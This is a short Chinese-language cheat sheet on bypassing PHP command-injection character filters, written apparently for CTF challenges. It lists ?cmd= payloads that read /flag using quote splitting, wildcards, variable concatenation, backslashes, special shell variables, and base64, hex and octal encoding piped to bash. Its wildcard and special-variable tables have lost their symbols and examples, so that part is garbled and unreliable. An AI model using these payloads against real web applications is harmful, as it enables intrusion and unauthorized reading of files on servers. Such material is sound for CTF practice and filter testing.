php字符过滤绕过方法
空字符:
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。 例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
?cmd=cat /f''lag
?cmd=cat /f'l'ag
通配符:
通配符 | 功能说明 | 示例 | 用途 |
| 匹配零个或多个字符 |
| 匹配所有以 结尾的文件 |
| 匹配单个字符 |
| 匹配 , 等单个字符的文件名 |
| 匹配方括号内的任意一个字符 |
| 匹配 , , |
| 匹配不在方括号内的字符 |
| 匹配不包含 到 之间字符的文件 |
| 匹配大括号内的任意一个字符串,使用逗号分隔 |
| 匹配 , , |
| 表示当前用户的主目录 |
| 访问主目录下的 文件夹 |
| 表示取反,在一些条件测试或模式匹配中使用 |
| 列出所有不是 结尾的文件 |
| 转义字符,取消通配符的特殊意义,使其作为普通字符处理 |
| 匹配文件名为 的文件 |
?cmd=cat /f*
赋值与拼接:
<@URLe>a=c;b=at;c=fla;d=g;$a$b /$c$d<@URLe>
?cmd=a%3Dc%3Bb%3Dat%3Bc%3Dfla%3Bd%3Dg%3B%24a%24b%20%2F%24c%24d
反斜杠:
?cmd=ca\t /fla\g
特殊变量:
变量 | 含义 | 示例输出 |
| 传递给脚本或函数的参数个数 |
(参数为空时) |
| 上一个命令的退出状态 |
(正常退出)或 (异常退出) |
| 上一个命令的最后一个参数 | 上一个命令的最后一个参数值 |
| 当前脚本或 shell 的名字 |
或脚本名 |
| 传递给脚本或函数的第 1 到第 9 个参数 | 第 1 到第 9 个参数值 |
| 传递给脚本或函数的所有参数(以列表形式) | 所有参数值 |
| 传递给脚本或函数的所有参数(以字符串形式) | 所有参数作为单个字符串 |
| 当前 shell 的进程 ID (PID) | 进程 ID 值 |
| 上一个后台运行的进程的进程 ID (PID) | 后台进程的 PID |
| 当前 shell 的选项标志 |
(表示 shell 选项标志) |
?cmd=ca$1t /fl$@ag?cmd=ca$1t /fl$1ag?cmd=ca$1t /fl$2ag
编码 / 进制:
cat "$(echo 'L2ZsYWc=' | base64 -d)"
`echo "Y2F0IC9mbGFn"|base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bashecho -n 636174202f666c6167 | xxd -r -p | bash # 十六进制
$(printf "\143\141\164\040\057\146\154\141\147\012")# 八进制(or bashfuck)